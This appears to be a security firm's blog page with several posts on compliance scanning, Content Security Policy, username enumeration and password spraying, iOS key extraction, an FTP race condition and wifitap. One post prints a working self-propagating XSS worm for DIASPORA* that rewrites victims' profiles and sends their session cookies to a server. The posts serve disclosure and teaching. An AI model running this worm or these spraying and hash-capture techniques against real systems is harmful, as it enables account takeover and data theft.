GDS Blog

Using Nessus to Audit VMware vSphere Configurations

Sam Bertram — Wed, 05 Jun 2013 16:19:02 +0000

Nessus has the ability to run compliance checking scripts for many different services and servers, and is a great resource for aligning a server with “best practice” server hardening guides, such as those released by the Center for Internet Security (CIS). Recently VMware officially released the vSphere 5.1 Hardening Guide, for which Tenable have then released Nessus compliance scripts to check for the recommended configurations. When using these scripts, there are a few forum posts (provided by Nessus and Tenable) that provide some information, and although they can collectively provide good enough instructions on how to run the scan, they omit a few details that would have been very handy to know prior to performing these compliance checks.

So, taking my own experiences with the audit scripts, and merging these with the already available resources, I’d like to provide others with some straightforward answers to the questions and issues I had when first running the VMware vSphere compliance audit scans.

How to Perform a Scan

Our goal is to create a minimal compliance scan that is based around the VMware vSphere Compliance audit, and also reduces the number of plugins required to effectively run the scan. The reason we want to segregate the Policy Compliance scan (although it is not required) is that it will help teach us how to perform the compliance scan as a standalone scan, and can also help troubleshoot issues when learning the new scan type.

Jumping right in, let’s create a new Nessus Policy and modify it to fit our needs. Within the Policy, all of the General Settings can remain the same, and we want to modify the Plugins enabled for our new Policy. Only enable the following plugins so the scan will target the VMware Policy Compliance audit.

General
Service Detection
VMware ESX Local Security Checks
VMware vCenter/vSphere Compliance Check (under “Policy Compliance”)

The idea of selecting only these Plugins is to greatly reduce the amount of time Nessus will take when all we are concerned with is performing a compliance check scan.

After configuring the Plugin information, we want to change the Preferences to match our VMware configuration. Under the “Preference Type” drop-down menu we select “VMware SOAP API Settings”.

Now we fill in the administrative VMware user name and password. If the VMware host is using a self-signed certificate, ensure the “Ignore SSL Certificate” checkbox is selected

After configuring our credentials, the last step to creating a policy is the select the appropriate audit file. Under the “Preference Type” dropdown, select the “VMware vCenter/vSphere Compliance Checks” and then browse to the appropriate audit file. We will be using “vmware_vsphere_5.x_hardening_guide.audit”.

Now that our Policy is created, we need to start a new scan and ensure our VMware host is set as the target. Once the scan has finished, we will see a Compliance option under the Scan Results indicating the VMware Policy Compliance plugin ran properly.

Interpreting the Results

Now that we have completed a scan of our VMware host we can start to review the results. It’s recommended that a copy of the relevant VMware vSphere Hardening Guide is available so that when you’re reviewing the results the best practice guide can be referenced. When reviewing the results, under the “Reference Information” the Profile directory correlates directly to the Profile provided in the hardening guide for each compliance check.

The profiles (taken from the VMware Guide) give context as to the type of requirements for your environment, and potentially compliance rules that are unnecessary for your needs.

Profile 3: guidelines that should be implemented in all environments
Profile 2: guidelines that should be implemented for more sensitive environments, e.g. those handling more sensitive data, those subject to stricter compliance rules, etc
Profile 1: guidelines that only be implemented in the highest security environments, e.g. top-secret government or military, extremely sensitive data, etc

When performing a scan using an unconfigured default audit file, one of the first things noticed will be the number of failed compliance rules. Since this is what I’ve done for this example, the list will go on for at least 50 failed compliance checks!

Once we dig deeper in some of the results we realize an un-tuned audit file can provide a poor representation of how our server is hardened. Reviewing the results manually gives us the ability to interpret a few categories of “false positives” in the sense that the audit cannot be run accurately because it is not configured to the local environment. In most cases, everyone will run the default audit file at least once before realizing that they should have tuned the configuration for their environment.

No Audit File Tuning

When the audit file is not tuned for the environment, all of the variables that are supposed to be set within the configuration will be flagged as failing their compliance checks. When viewing the Description for these false positive checks, you will notice “NOTE: Update {VARIABLE} to the appropriate value for the local environment” being present.

In order to correct these results, every variable that is supposed to be customized for the local environment will have to be set. This is done by modifying the original audit file that was added to the Policy.

VMware Tools Not Installed

If VMware Tools are not installed on the Virtual Machines, there will be the occurrence of “toolsNotFound” found within the Affected Host List. This information is much easier to view if the Nessus scan results have been exported to HTML first, and I recommend exporting the results to HTML and viewing them within Nessus at the same time, especially when scanning multiple hosts.

This can be fixed in one of two ways, by either installing VMware Tools on the guest operating system (which isn’t necessarily ideal for each situation), or by editing the audit file and remove the compliance checks that require VMware Tools.

Tips & Tricks

The following are some of the “gotchas” and things I wish I had known before performing these scans in test and production environments. These tips will hopefully reduce some confusion when interpreting the results, and ensuring the scan has run properly.

If there are multiple audit files selected during the compliance review under the “VMware vCenter/vSphere Compliance Checks”, they will not be able to be separated under the Nessus results because they will have the same plugin ID #64455. This can be problematic when the audit files are not configured properly because you cannot filter on each of the separate audit file’s results.
If you use multiple audit files when creating the Policy (as recommended by the Nessus forums), there will be duplicate entries within the compliance checks. Because you can’t separate the results this becomes even more problematic, and a better thing to do would be to use each audit file separately for a separate Policy until they are properly tuned.
You can test your credentials by installing and configuring the vSphere Client and attempting to authenticate using the client as one option. But, if this is not installed on your machine, you can’t install it, or don’t want to install it, a quicker test to see if your username and password are correct, and to verify that VMware vSphere is running the API, is to navigate to the /mob directory of the target.

Once properly authenticated you will be presented with the API interface.

This is a useful test when the credentials are being supplied by an external party, or are particularly long (and easy to fat-finger).

When creating the VMware vSphere Policy, it must be adjusted for every unique username and password combination for each host. So, if you are scanning multiple hosts and they do not have the same username and password, the Nessus Policy will have to be updated for each host scanned.
If you’ve run a scan and want to filter out Compliance Check results more efficiently to match the hardening guide, a suggestion is to export the data to a CSV file and open it with a spreadsheet application that can use more complex filtering requirements that Nessus does not provide:
- Plugin ID is 64455 (vSphere Compliance Plugin ID)
- AND Contains FAILED in the Description
- AND does not contain “update {” in the Description
- AND does not contain “NOT found” in the Description

This will omit the false positives that occur from a lack of an audit file configuration and can provide you with a quick-win before you have the ability to properly configure the audit file for the local environment.

Retrofitting Code for Content Security Policy

Erik Larsson — Tue, 14 May 2013 12:09:35 +0000

Note: This post has been crossposted from the SendSafely blog. You can find the original post at http://blog.sendsafely.com/post/50303516209/retrofitting-code-for-content-security-policy.

In a previous blog post we shared how SendSafely uses Content Security Policy to minimize the risk of Cross-Site Scripting, commonly referred to as XSS (if you didn’t catch this post, you can check it out here). While it would have been easiest to design our site to use CSP from the beginning, the initial version of our website grew out of an internal research project and was not so fortunate. As a result, we needed to refactor a lot of our UI code to comply with a strict CSP. Specifically, we needed to get rid of the following two patterns that were fairly pervasive in our code:

Inline scripting. A sound CSP does not allow HTML and JavaScript to co-exist in the same document. Prior to CSP, we had a lot of in-line scripts.
Script code served from the same host. CSP best practices dictate that scripts should only run from a dedicated sub-domain that serves static content. This means that JavaScript not only needs to be in separate files, but also served from a completely different host.

Given the above requirements, we needed to figure out an efficient way to convert our existing UI code. As it turned out, our code followed a few simple patterns. Once we came up with a methodical way to convert each pattern, we had a game plan for moving forward with the site-wide conversion.

Common Code Patterns
When we analyzed HTML our code to see how we were using Javascript, we were broadly able to categorize about 90% of our use cases into two buckets:

Links or tag events that called no-arg functions:
<a href=”javascript:doSomething()”>Do something</a>
Links or tag events that called functions with one or more arguments:
<type=”text” name=”email” onkeyup=”doSomethingElse(arg1, arg2)”>

The first case was simple. For elements that previously called a function on a specific event or on a click, we started by giving them a unique element id. Then, in the JavaScript code that loads from our static domain, we have a routine that always fires and looks specifically for each relevant id and programmatically registers the event on that element. So, for example, the first sample we showed you above would get converted to the following HTML (on our dynamic domain) and JavaScript (loaded from the static domain).

HTML:

<a id=”my-link”>Do something</a>

JavaScript:

var link = document.getElementById(“my-link”);
link.addEventListener(“click”, doSomething, false);

If you use JQuery (like we do) it can be done in a slightly more elegant fashion:

$(“#my-link”).click(function() {
doSomething();
});

The second case is not quite as simple, but still relatively straightforward. The main difference between the first and second case is that we need to pass arguments into the JavaScript function. One of the most widely supported (and earliest adopted) parts of the HTML5 spec across all browsers is the data-* element. It’s supported by all major browsers and has been for some time (http://caniuse.com/#feat=dataset). This allows us to declare data attributes on a given HTML element that can be referenced elsewhere by JavaScript, so they are perfect for holding the values we were previously passing in as function arguments. We use the same technique as before to register the click event, but also include references to the data-* attributes in the function call. So, going back to our example, the second sample we showed you would get converted to the following HTML (on our dynamic domain) and JavaScript (loaded from the static domain).

HTML:

<type=”text” id=”my-email-field” name=”email” data-arg-one=”arg1” data-arg-two=”arg2”>

JavaScript (JQuery):

$(“#my-email-field”).keyup(function() {doSomethingElse(this.getAttribute(“data-arg-one”), this.getAttribute(“data-arg-two”)); });

Web Workers
Unfortunately not all of our JavaScript was covered by the above two examples. One of the more notable exceptions to this was how to incorporate HTML5 Web Workers into our policy. We use web workers when we encrypt and decrypt files using JavaScript since CPU intensive operations like that would cause the entire browser UI to freeze-up during the process (which can take anywhere from a few seconds to several minutes). As it currently stands, most browsers require that web workers execute from JavaScript on the same domain that the page is loaded from. So, in the case of our website, pages loaded from www.sendsafely.com cannot run a web worker loaded from static.sendsafely.com. This is less than ideal from a security perspective since it requires an exception to our otherwise tight CSP.

In order to minimize the places where this exception is allowed, we defined a slightly looser policy for the two URLS that we use for sending (encrypting) and receiving (decrypting) files. Unlike other URLs on our site, these two pages allow scripts originating from the dynamic server to execute. We still don’t allow in-line scripting, so the exposure on these pages is still somewhat minimal since a separate file still needs to be loaded from the same server. For now it seems we will need to live with this approach until a solution for loading web workers from a separate domain is possible.

Third Party Scripts (reCAPTCHA)
Like many sites, SendSafely uses reCAPTCHA to prevent bots and other automated processes from interacting with certain parts of our application. The reCAPTCHA AJAX API requires us to load certain scripts and images from Google servers (specifically from www.google.com/recaptcha/), which forced us to include www.google.com in our CSP (refer to the previous post to see how we’ve done that). In an ideal world, that would be the only change needed, but life is rarely that simple.

Unfortunately, it doesn’t look like the reCAPTCHA AJAX API plays nicely with CSP since it doesn’t run without the inline-scripts and unsafe-eval directives. Out of all the CSP directives to allow, these two create a huge increase in attack surface since they expose a wide variety of XSS attack variants. To better understand why the reCAPTCHA AJAX API requires these directives, let’s take a closer look at the two steps needed to implement the API (taken fromhttps://developers.google.com/recaptcha/docs/display)

Step 1: Load the API JavaScript from Google

<script type=”text/javascript”
src=”http://www.google.com/recaptcha/api/js/recaptcha_ajax.js”
</script>

Step 2: Display the CAPTCHA using the following code

Recaptcha.create(“your_public_key”,
“element_id”,
{
theme: “red”,
callback: Recaptcha.focus_response_field
});

At their surface, both steps seem easy to run with CSP. The problem, however, lies in the contents ofrecaptcha_ajax.js. Specifically, the following three code patterns are present in this file and unless re-factored require inline-scripts and unsafe-eval permissions:

Inline Event Handler Definitions
Inline Script within HREF Attributes
Use of String-to-Code in Function Calls

After some research and initial attempts to (unsuccessfully) contact the reCAPTCHA team at Google, we decided to take a stab at re-factoring some of the code to make it CSP friendly. Refactoring third party code is never ideal, but if we could restrict our changes to just presentation-level code and not touch the code that invokes the server API, we minimize the risk of introducing any breaking changes going forward.

As it turns out, the changes to recaptcha_ajax.js required are very minimal and self-contained in that single JS file. Once updated, all we needed to do was load the re-factored JS file from our server instead of remotely from the Google servers. Let’s take a close look at what was changed.

Inline Event Handler Definitions
Many of the reCAPTCHA HTML elements use in-line handler definitions for the onclick event. In order to comply with CSP, the handler definition must be rewritten in terms of addEventListener as shown below (the “a” function is used to dynamically generate an HTML “a” tag with the specified ID). Very easy.

Before:

a(“recaptcha_whatsthis_btn”).onclick = function () {Recaptcha.showhelp(); return !1};

After:

document.getElementById(“recaptcha_whatsthis_btn”).addEventListener(‘click’, function () {Recaptcha.showhelp(); return !1});

Inline Script within HREF Attributes
reCAPTCHA uses a custom function to dynamically build certain document elements. The last argument for one of these functions (named c) is assigned to the HREF attribute of the element, which in some cases includes JavaScript. For these cases, the function call was modified to remove the last argument, and instead bind the argument value programmatically to the onclick event (using addEventListener as in the previous example).

Before:

c(“recaptcha_reload”, “refresh”, “refresh_btn”, “javascript:Recaptcha.reload();”);

After:

c(“recaptcha_reload”, “refresh”, “refresh_btn”);
document.getElementById(“recaptcha_reload_btn”).addEventListener(‘click’, function () {Recaptcha.reload()});

Use of String-to-Code in Function Calls
Some JavaScript functions, like eval() for example, allow you to specify a function as input or alternatively let you pass string content that will get treated and executed as code (often referred to as string-to-code). Passing a string argument to any of these functions (eval, setinterval, etc) requires the unsafe-eval directive, which is definitely something we do not want to allow. In this case, as shown below, the code is relatively painless to convert since the string value is not dynamic in nature. This was the simplest change of all.

Before:

Recaptcha.timer_id = setInterval(‘Recaptcha.reload(“t”);’, a);

After:

Recaptcha.timer_id = setInterval(function(){ Recaptcha.reload(“t”) }, a);

By changing those three subtle patterns, we were able to safely run the reCaptcha AJAX API without loosening our CSP. We welcome anyone in the same boat to leverage our re-factored JS code to run reCAPTCHA with CSP on your own site. As mentioned, we attempted to contact the reCAPTCHA team at Google during this effort with no success. Hopefully our changes will one day get reflected in the ReCaptcha AJAX API code.

Writing an XSS Worm

Kevin Chung — Wed, 08 May 2013 13:00:12 +0000

User privacy is an increasingly important part of the Internet, and the social network DIASPORA* prides itself upon the creed that users own the data that they publish on sites. In a modern world, security often takes precedence over belief. There is no reason that a malicious attacker can’t take the data which DIASPORA* stores on their own servers and use it for whatever purposes they desire.

Multiple vulnerabilities (including an XSS exploit) manifest themselves in DIASPORA*, such that it was possible for any user to export a user’s profile data and potentially compromise every DIASPORA* instance (or in DIASPORA* terminology, pod) running on the Internet.

To begin with the methodology for achieving this, first an initial exploit must be found. In the case of DIASPORA*, it is a Persistent Cross Site Scripting (XSS) vulnerability found in the user’s name as it is rendered un-encoded back on the the user’s profile (i.e. /u/user_name). DIASPORA* uses a set of JSON formatted attributes to create a navigation bar with user specific information such as name, id, and email.

Instead of just alerts, we can give ourselves a much larger space to work with by using </script><script src= as our first name and //goo.gl/AAAAA</script> as our last name. The goo.gl URL should point to a JavaScript file of our choosing. Now that we are not limited by size, we can go ahead and begin propagating ourselves throughout the DIAPOSRA* pod. Fortunately, DIASPORA* leverages jQuery, so writing JavaScript will be much less verbose than it normally tends to be.

If we wish to be extremely destructive, we can simply do an AJAX GET and POST to have any user which gets hit with our payload become a propagator of the payload as well. We require the GET initially as DIASPORA* includes a nonce on the profile page in order to prevent Cross Site Request Forgery (CSRF) attacks and therefore our subsequent POST requires a valid nonce in order to be valid.

$(‘html’).hide();

if(window.location.pathname == ‘/profile/edit’){
   window.location=”/404”;
}

else if(window.location.pathname.substr(1,2) == ‘u/’ || window.location.pathname.substr(1,6) == ‘people’){
   var first = $(‘.find’).prev().html();
   var second = $(‘.find’).next().html();
   eval(first +”You’re Owned”+ second);
}

else{
   var intervalID = setInterval(function(){
           var first = $(‘.find’).prev().html();
           var second = $(‘.find’).next().html();
           eval(first +”You’re Owned”+ second);
       },5);
}

$(document).ready(function(){
   window.clearInterval(intervalID);
   $(‘.message’).hide();
   $(‘html’).show();
   $(document.createElement(‘img’)).attr({‘src’ : ‘http://localhost/diaspora.php?cookie=’+document.cookie});
});

deploy(‘//goo.gl/AT64G’);

function deploy(payload){
   $.get(‘/profile/edit’, function(data) {
       var first_name = $(‘#profile_first_name’,data).val();
       var last_name = $(‘#profile_last_name’,data).val();
       if (first_name == ‘</script><script class=”find” src=’)
           return;

       var utf = $(‘input[name=”utf8”]’, data).text();
       var authenticity_token = $(data).filter(‘meta[name=”csrf-token”]’).attr(“content”);
       var bio = $(‘#profile_bio’,data).html();
       var loc = $(‘#profile_location’,data).val();
       var gen = $(‘#profile_gender’,data).val();
       var year = $(‘#profile_date_year’, data).find(“:selected”).text();

       if (year == ‘Year’)
           year = ”;

       var month = $(‘#profile_date_month’, data).find(“:selected”).text();
       if (month == ‘Month’)
           month = ”;

       var day = $(‘#profile_date_day’, data).find(“:selected”).text();
       if (day == ‘Day’)
           day = ”;

       var tags = data.search(‘var data’) + 25;
       var tags_end = data.search(‘autocompleteInput’) - 15;
       tags_end = jQuery.parseJSON(data.slice(tags, tags_end));
       tags = ‘,’;
       for( key in tags_end){
           tags += tags_end[key].value + ‘,’;
       }
       $.post(“/profile”,
           {
               ‘utf8’: “✓”,
               ‘_method’: ‘put’,
               ‘authenticity_token’: authenticity_token,
               ‘profile[first_name]’: “</script><script class=”find” src=”,
               ‘profile[last_name]’: payload+”></script><script>”,
               ‘profile[tag_string]’: ”,
               ‘tags’: tags,
               ‘file’: ”,
               ‘profile[bio]’: bio,
               ‘profile[location]’: loc,
               ‘profile[gender]’: gen,
               ‘profile[date][year]’: year,
               ‘profile[date][month]’: month,
               ‘profile[date][day]’: day,
               ‘profile[searchable]’: ‘true’,
               ‘commit’: ‘Update Profile’
           }
       );
   });
}
Exploit Code

Next it is important to determine what can be used to spread our payload. The most obvious is our profile which has our malicious name. We can also adapt our script to scrape contacts and send them messages asking them to visit our profile, replicating how many XSS worms have propagated in the past. DIASPORA* makes an additional oversight in that the search autocomplete functionality will render names un-encoded to the user. Thus users who are not directly connected to infected users can additionally be infected by searching and finding an infected user.

Now that we’ve begun spreading ourselves through DIASPORA* we could capitalize upon what we have accessible. DIASPORA* allows users to download their photos and an XML file containing their data (posts, contacts, messages, profile information, and a GPG key pair). We can have JavaScript send the user’s cookies to a server as DIASPORA* makes no use of the HTTPOnly flag for their session cookie. If HTTPOnly was enabled it wouldn’t really matter, as we could have the XSS payload pull the XML and POST it to our server instead of having the server get it.

In summary, we were able to utilize a variety of vulnerabilities in DIASPORA* to augment the main XSS payload and potentially acquire significant amounts of user data. This reinforces the message for web developers: no user input should ever be trusted. Unencoded user input is of course the root cause of this issue. Input validation, and input or output encoding should always be used in any scenario where user input is taken.

Additionally, HTTPOnly should be on all cookies not required to be accessed by JavaScript. This is not a cure all, as it is still possible to submit queries through XSS riding on the valid session stored in the cookie without stealing it.
While typical nonce based CSRF is in place, XSS is able to bypass it easily. A CSRF referrer check should be put in place for the profile page as an attacker would not be in a valid position to spoof the referrer for another user but themselves. To clarify, profile edits should be validated to only come from /profile/edit and not from any other location on DIASPORA*. While XSS can typically be used to bypass CSRF referrer checks, in this scenario the attacker would not have control over the normal edit profile page as it would be on an uninfected user. This would have successfully prevented a spread of this XSS worm.

This issue was reported to the developer at 2013-02-01 06:53:36 and the patch was committed at 2013-02-01 13:20:31.

Network Testing 101: If Your Name's Not Down, You're Not Getting In

Alex Bayly — Tue, 26 Mar 2013 14:09:44 +0000

Looking at the basics of network testing, user enumeration is critical. If we can get usernames, access is only a hop skip and a jump away. Well, perhaps only a decent dictionary brute-force away.

The thing is how do we get these usernames? A few basic network pentesting tricks are listed here. Also, as a lot of user names are predictable combinations (such as a combination of first and last names, and initials) it can be fun to find amusing user names on a network.

Simple User Name Enumeration

Time to start with some of the simple stuff, SNMP (Simple Network Management Protocol). Some interesting MIBs (Management Information Base) that result in user enumeration are:

Solaris

PROCESS USERNAMES 1.3.6.1.4.1.42.3.12.1.1.8 *

*nix in general

MOUNTPOINTS 1.3.6.1.2.1.25.2.3.1.3
RUNNING SOFTWARE PATHS 1.3.6.1.2.1.25.4.2.1.4

Windows

Windows INSTALLED SOFTWARE 1.3.6.1.2.1.25.6.3.1.2
Windows USERS 1.3.6.1.4.1.77.1.2.25
Windows SHARES 1.3.6.1.4.1.77.1.2.27

The MIBs listed above give away usernames. Some are obvious. The ones that are less obvious are RUNNING SOFTWARE PATHS and (in Windows) INSTALLED SOFTWARE these may disclose information in the path names as shown below:

.1.3.6.1.2.1.25.4.2.1.4.739 = STRING: “/usr/bin/login”
.1.3.6.1.2.1.25.4.2.1.4.740 = STRING: “/bin/bash”
.1.3.6.1.2.1.25.4.2.1.4.749 = STRING: “/home/auser/tail”

As we can see, the user name auser is disclosed if the full path of the running binary is used. Remember this works only if the user has used the full path to run the process.

The snmpwalk tool is a good place to start for enumerating SNMP data out of a host. There is also the small matter of the community string you’ll also need, however in many cases you can go with the defaults and get information back. Changing these from the default is often overlooked when SNMP is enabled on servers.

Print My User Name

Web and telnet interfaces on printers are often unauthenticated, unencrypted or use default or weak passwords. It is often possible to connect to these repositories of information leakage and grab document names, share locations, and most importantly user names.

As a lot of printers have no lockout controls, even if admin account passwords have been changed you can often brute force passwords on these safely. If we can gain admin access to the printer, there may be other interesting options available as well. In one case, we came across an option to fax a copy of every document printed to a number of our choice.

Old Problems Never Die

Username enumeration on a Windows domain can be easy or a pain. On a box that accepts null connections we win. We can get the users and also the password policy, shares etc, and tools like enum and enum4linux still have a valuable place in the tool kit. But in a modern Windows AD domain don’t forget the use of LDAP. If it is possible to use null binds via LDAP, tools like ldapenum.pl, ldp.exe and nmap (—script ldap-search) are a good starting point to give you that user list. However, if you don’t have null shares or anonymous bind then you may need to make authenticated connections to the domain to get the same data. This means that one bad password on the network is a foothold to accessing the rest of the domain.

Research, Research, Research

In a lot of Exchange environments the user’s email address will contain their username. Robert Smith, for example, is rsmith@pentestcompany.com - it’s likely that “rsmith” is his login. But do remember that with common names this may not be the case. A lot of this kind of data can be gathered from company web pages or Intranet sites…. or even bouncing a couple of emails into the organisation can work for this. If the company has an internal anonymously accessible wiki this can be a nice resource as well.

Listen, Did You Smell That?

Sniffing network traffic can also help out with delivering those user names. You may even get those passwords you’re looking for - never discount the amount of clear text protocols that are still in use. Also many companies will use TLS/SSL on their public web sites, but not encrypt internally.

I Never Metadata I Didn’t Like

In Office documents the metadata will contain, amongst other things, the name of the user who created that document. If we know the schema, this can give you the username. Also if the company writes Silverlight or .NET applications, then decompilation can give you pathnames, again with valid usernames.

Now Pay Attention 007

There is a reason to wear headphones with no music playing. If you are sitting onsite amongst IT Staff or developers you may hear the phrase: “What user should I log on as?” around you. If you are lucky they may even shout out passwords. Also there is the old tried and true method of just asking. Some call it social engineering but that’s a topic for another post.

Sharing Your Toys

So you find a file share. Now there are lots of awesome things you can do: SMB relay attacks, trojan documents, DLL injection (if some one is dumb enough to share the wrong thing). But one of the other things you can do when a domain user visits the share is have a file there that points back to us. This could be an image in the document, a second embedded document in our Excel sheet (that we host), or a malicious shortcut file with an icon on our machine. When they access this, a bit of metasploit SMB sniffing and we can get the username as well as NTHASH and (if they are using it) the LMHASH.

Guess Who - Are You “bin”?

On smtp, ftp, and ssh there have been ways to brute force out usernames. This is ok, but is really dependant on the list of usernames you start with. In the spirit of recycling, never throw anything away - every time you gather a name, put it in a file. Next time you have a chance to brute-force out names on an SMTP server via RCPT EXPN and VRFY you will have a good starting point.

Go Wide!

So you’ve got your big list of users? Now we take a big dictionary and hit go! - lock out the accounts and get asked to leave OR perhaps there is a better way? Time to chose a common password and wide-band it across all the accounts. A usual rule is to assume they lock the accounts after 3 failed attempts. So we could choose 2 candidate passwords and try those. If you haven’t found anything at all about the password policy before this stage, now would be a good time to do it. When we know what we can risk, we can make the call and do some brute forcing. For me, Medusa is my brute forcer of choice. A nice feature is that Medusa that will let you look for “Joe Logins” as well as blank passwords. The nice thing about this one is the tool is modular and supports a large list of protocols. So now from a big list of users we send out 2 passwords per user per hour/day/week. Eventually we get a hit. Next we can use this authenticated access to get more user names and start the brute force loop again. Voila!

Retrieving Crypto Keys via iOS Runtime Hooking

Ron Gutierrez — Tue, 05 Mar 2013 13:45:06 +0000

I am going to walk you through a testing technique that can be used at runtime to uncover security flaws in an iOS application when source code is not available, and without having to dive too deeply into assembly. I am going to use a recent example of an iOS application I reviewed, which performed its own encryption when storing data onto the device. These types of applications are a lot of fun to look at due to the variety of insecure ways people implement their own crypto. In this example the application required authentication, and then pulled down some data and stored it encrypted on the device for caching. The data was presented to the user where they could “act” upon it. Sounds pretty generic, but hopefully the scenario is familiar enough to those who assess mobile apps.

Upon analyzing the application traffic, it was obvious that no crypto keys were being returned from the server. After sweeping the iOS Keychain and the entire Application container, I could make the educated assumption that the key is either a hardcoded value or derived using device specific information.

Using the Hopper Disassembler (Available on the Mac App Store), I was able to see that the application was leveraging the Common Crypto library for its encryption. I checked the cross-references for calls to the CCCryptorCreate function in order find the code areas which perform encryption. The following screenshot shows getSymmetricKeyBytes being called right before the CCCryptorCreate function. I felt pretty confident that the purpose of the getSymmetricKeyBytes method was going to be to return the symmetric key used for encryption.

I decided to create a Mobile Substrate tweak in order to hook into getSymmetricKeyBytes and read the return value. I used the class-dump-z tool to get a listing of all the exposed Objective-C interfaces. From here it is easy to get more detailed information about the method, such as the class name, return type and any required parameters. The following is a short snippet retrieved from the class-dump-z results.

@interface SecKeyWrapper : XXUnknownSuperclass {

                  NSData* publicTag;

                  NSData* privateTag;

                  NSData* symmetricTag;

                  unsigned typeOfSymmetricOpts;

                  SecKey* publicKeyRef;

                  SecKey* privateKeyRef;

                  NSData* symmetricKeyRef;

}

[..snip..]

-(id)getSymmetricKeyBytes;

-(id)doCipher:(id)cipher key:(id)key context:(unsigned)context padding:(unsigned*)padding;

[..snip..]

We can quickly create a tweak by using the Theos framework. The tweak in this case looked as follows:

%hook SecKeyWrapper

- (id)getSymmetricKeyBytes {

    NSLog(@”HOOKED getSymmetricKey”);

    id theKey = %orig;

    NSLog(@”KEY: %@”, theKey);

    return theKey;

}

%end

%ctor {

    NSLog(@”SecKeyWrapper is created.”);

    %init;

}

It doesn’t do much more then read the return value of the original method call and write it out to the console. It was possible to confirm that a static key was being used by running the tweak on another iPad, and observing that the same symmetric key was returned. The next step was to decrypt the files. We could hook into the doCipher:key:context:padding method and just print out the first parameter to get the plaintext data. That would work, but that wouldn’t be reproducible since the Tweak code would only execute when the doCipher:key:context:padding method is actually run by the application. A quick Google search on the SecWrapper class turned up the following sample code from Apple.

http://developer.apple.com/library/ios/#samplecode/CryptoExercise/Listings/Classes_SecKeyWrapper_m.html

By leveraging the wrapper it was possible to create an offline script to decrypt the application contents.

While looking at sample code I noticed two things. The app developer chose to change Apple’s implementation of the getSymmetricKeyBytes method and return a static key. The other interesting discovery was bad practices in Apple’s sample code for the doCipher:key:context:padding method. The following code snippet shows that it will use a static IV of 16 bytes of 0x0’s.

// Initialization vector; dummy in this case 0’s.

uint8_t iv[kChosenCipherBlockSize];

memset((void *) iv, 0x0, (size_t) sizeof(iv));

An alternative method to achieve the same result would be to use cycript, which provides a Javascript interpreter to hook run arbitrary objective-c code and also hook into iOS applications at runtime without having to go through the whole Mobile Substrate Tweak creation. The following example shows how cycript could be used to retrieve the symmetric crypto key.

rgutie01s-iPad:~ root# cycript -p 290

cy# var sharedwrapper = [SecKeyWrapper sharedWrapper];

@”<SecKeyWrapper: 0x183080>”

cy# [sharedwrapper getSymmetricKeyBytes]

@”<[Symmetric Key Value Omitted>”

To recap:

Runtime analysis can be leveraged to easily break custom encryption when source code is not available and without having to dive into assembly.
Developers need to beware of using sample code downloaded from the web, especially crypto code as it’s really hard to get right (as shown by the sample from Apple).

Exploiting the Pizza Thief

Justin Clarke — Tue, 26 Feb 2013 17:15:34 +0000

A while back we came across an exploitation scenario with an FTP server that we were assessing that we thought was interesting enough to share - largely because its an issue that has been known about since 1999, but doesn’t seem to be widely exploited - at least publicly.

First its important to understand how FTP works when in passive mode, which is the most common configuration we come across in deployment nowadays. FTP uses two separate TCP connections to the FTP server - a command channel and a data channel. FTP commands are sent over the command channel, which is usually on port 21. The data channel is the connection that is used for a transfers of data, including directory listings or file downloads and uploads, and in passive mode this is another connection from the client to the FTP server on a port opened by the FTP server in order to send or receive the data.

For example, this is how a sample passive FTP session might go, including the commands that will be issued to the FTP server in the background. Note the response to the PASV command, which supplies the IP address and port (in high/low byte order) for the client to connect to:

220 foo.bar.com FTP server ready.

Name: user

---> USER user

331 Password required for user.

Password: password

---> PASS password

230 User user logged in.

---> SYST

215 UNIX Type: L8

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> passive

Passive mode on.

ftp> ls

---> PASV

227 Entering Passive Mode (192,168,1,1,195,149).

---> LIST

150 Opening ASCII mode data connection for file list

drwx------ 3 user users 104 Jul 27 01:45 my_files

226 Transfer complete.

ftp> quit

---> QUIT

221 Goodbye.

Visually this will look something like the following:

Interestingly, looking at the RFC for FTP (RFC959) shows that the two connections do not both have to come from the same client, which allows FTP to support some less common usage scenarios such as server to server transfers using a common client. For our purposes it raises the possibility that if we can hit the data port that is allocated on the FTP server at the right time, we will get the file transfer or directory listing that another client has requested, like follows:

This race condition issue, as it turns out, has been known since 1999 as the “Pizza Thief” exploit (CVE-1999-0351), and turns out to be fairly easy to exploit in actual usage scenarios that we’ve come across.

In practice, guessing the port comes down to a combination of two factors - how much load the FTP server is under, and how randomly it allocates the data ports for downloads. If the port allocation is sequential (which is not uncommon) this is fairly trivial, however as enterprise FTP deployments commonly have a small fixed range of ports allowed through a firewall for passive FTP, this can also be practical to exploit in cases where the data port allocation is randomised (even aside from any weaknesses in just how random the allocation actually is). If the server allows anonymous FTP, or you can obtain an account through other means, this just makes the job of predicting the data ports easier for you.

We ended up exploiting this scenario by writing a quick Python script to brute-force connect to the range of ports the server we were looking at was using, and grabbed a number of documents the organisation was sharing with an international business partner. Turns out FTP isn’t so secure after all? ;)

Resurrecting Wifitap

Oliver Lavery — Tue, 05 Feb 2013 17:24:07 +0000

Security technology and common sense are not always 100% compatible.

We recently encountered Cisco Wireless Client Isolation, a simple technology that prevents wireless clients from communicating with each other, used as a security control on an open wireless network. Handy sounding technology that, except for one small problem … how do you prevent radio transceivers from communicating with each other?

As the deployment didn’t actually involve putting every wireless client into a Faraday cage and plugging them into Ethernet, we had to demonstrate why this setup was not exactly secure…

Which brings us to wifitap, a set of very clever tools by Cédric Blancher that bridges a Linux tun/tap device with a WiFi interface in monitor mode, and allows you to communicate directly with wireless clients without associating with an Access Point (AP).

The way 802.11 is supposed to work, an AP mediates all communication on the network, which means that in theory technology like Cisco Client Isolation would work great:

However, in reality 802.11 is … well … wireless. There’s no way to dictate exactly who sends what to whom in a wireless network, notwithstanding carefully designed encryption or some highly directional antenna design. To exploit this, wifitap reads packets from victim to AP using a WiFi transceiver in monitor mode, and simply injects responses to those packets as if they came from the AP.

Neat trick. Unfortunately wifitap hasn’t been maintained in years, and even though it’s included in Backtrack 5r3, it took a good bit of work to make it go. In the interest of being good open-source netizens, we’re sharing an updated version that should work on modern distros over here:

https://github.com/gdssecurity/wifitap/

We might even manage to keep it up to date.

Lastly, you might be thinking: “Sure, open and WEP networks are insecure, but WPA2 fixed all these issues, right?”.

Well, not so much:

http://www.airtightnetworks.com/WPA2-Hole196

Now where did I leave my Faraday cage?

Using Content Security Policy to Prevent Cross-Site Scripting (XSS)

Erik Larsson — Tue, 05 Feb 2013 14:17:22 +0000

